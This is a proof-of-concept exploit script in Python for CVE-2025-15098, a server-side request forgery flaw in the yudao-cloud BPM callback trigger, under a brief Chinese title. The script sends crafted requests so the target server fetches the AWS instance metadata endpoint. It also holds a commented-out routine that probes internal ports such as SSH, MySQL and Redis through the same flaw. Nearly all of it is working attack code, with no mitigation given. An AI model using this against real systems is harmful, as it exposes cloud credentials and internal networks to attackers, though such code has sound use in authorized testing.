CVE-2025-15098 yudao-cloud BPM组件SSRF漏洞

import requests import sys # CVE-2025-15098 PoC - SSRF in yudao-cloud BPM Component # Target: BpmHttpCallbackTrigger or BpmSyncHttpRequestTrigger TARGET_URL = "http://target-server/api/bpm/callback/trigger" SSRF_TARGET = "http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint def exploit_ssrf(target_url, ssrf_url): """ Exploit SSRF vulnerability by manipulating the url parameter in BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger """ payload = { 'url': ssrf_url, 'header': '{"Content-Type": "application/json"}', 'body': '{"callback_data": "test"}', 'method': 'GET' } try: print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Target URL: {ssrf_url}") response = requests.post(target_url, json=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def check_internal_port(target_url, internal_ip, port): """Check internal network ports via SSRF""" ssrf_url = f"http://{internal_ip}:{port}" payload = {'url': ssrf_url} try: response = requests.post(target_url, json=payload, timeout=5) print(f"[*] Port {port}: Reachable (Status {response.status_code})") return True except: print(f"[*] Port {port}: Not reachable or filtered") return False if __name__ == "__main__": print("CVE-2025-15098 SSRF PoC") print("=" * 50) # Example 1: AWS metadata SSRF exploit_ssrf(TARGET_URL, SSRF_TARGET) # Example 2: Internal port scan # for port in [22, 80, 443, 3306, 6379]: # check_internal_port(TARGET_URL, "127.0.0.1", port)